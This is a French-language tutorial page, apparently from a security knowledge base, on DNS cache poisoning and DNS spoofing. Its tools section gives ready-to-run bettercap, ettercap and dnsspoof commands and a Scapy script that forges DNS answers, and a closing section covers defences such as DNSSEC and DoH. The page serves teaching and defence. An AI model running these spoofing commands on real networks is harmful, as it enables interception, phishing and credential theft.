DNS Poison — Empoisonnement de cache DNS

MITM Cache poisoning

★★★★★

Qu'est-ce que le DNS Poisoning ?

Le DNS Cache Poisoning (ou DNS Spoofing) consiste à injecter de fausses associations nom-IP dans le cache d'un résolveur DNS ou directement dans les réponses envoyées à une victime, afin de la rediriger vers un serveur contrôlé par l'attaquant (phishing, interception de trafic, vol de credentials).

DNS Spoofing local (LAN, post-ARP spoof)

Sur un réseau local, le DNS spoofing se combine généralement avec l'ARP Spoofing : l'attaquant intercepte les requêtes DNS de la victime puis répond avant le vrai serveur DNS (race condition gagnée par proximité réseau).

# Avec bettercap
bettercap -iface eth0
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> set dns.spoof.domains target.com,*.target.com
> set dns.spoof.address 10.0.0.66
> dns.spoof on

# Avec ettercap
echo "target.com A 10.0.0.66" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.10// /192.168.1.1//

Cache poisoning distant (Kaminsky-style)

Historiquement, un attaquant pouvait empoisonner un résolveur récursif distant en devinant le Transaction ID (16 bits) et le port source d'une requête DNS en cours, puis en envoyant une réponse forgée avant le vrai serveur autoritatif. L'attaque de Kaminsky (2008) a montré qu'il suffisait de générer de nombreuses requêtes pour multiplier les fenêtres de course.

# Randomisation du port source = mitigation principale
# Vérifier la qualité de randomisation d un résolveur
dig +short porttest.dns-oarc.net TXT

Outils

# dnsspoof (suite dsniff)
dnsspoof -i eth0 -f hosts.txt
# hosts.txt :
# 10.0.0.66 target.com

# Scapy : forger une réponse DNS
from scapy.all import *
pkt = IP(dst=victim)/UDP(sport=53,dport=33333)/DNS(
  id=0xAAAA, qr=1, aa=1, qd=DNSQR(qname="target.com"),
  an=DNSRR(rrname="target.com", ttl=3600, rdata="10.0.0.66"))
send(pkt)

Défenses

DNSSEC signe cryptographiquement les enregistrements et empêche la falsification de réponses · DNS over TLS (DoT) / DNS over HTTPS (DoH) chiffrent le canal et empêchent l'interception/injection sur le réseau · randomisation forte du Transaction ID et du port source côté résolveur · monitoring des changements TTL/IP suspects sur les domaines sensibles · côté client : vérifier le certificat TLS du site (le spoofing DNS seul ne suffit pas à contourner HTTPS avec HSTS).

← Retour à la Knowledge Map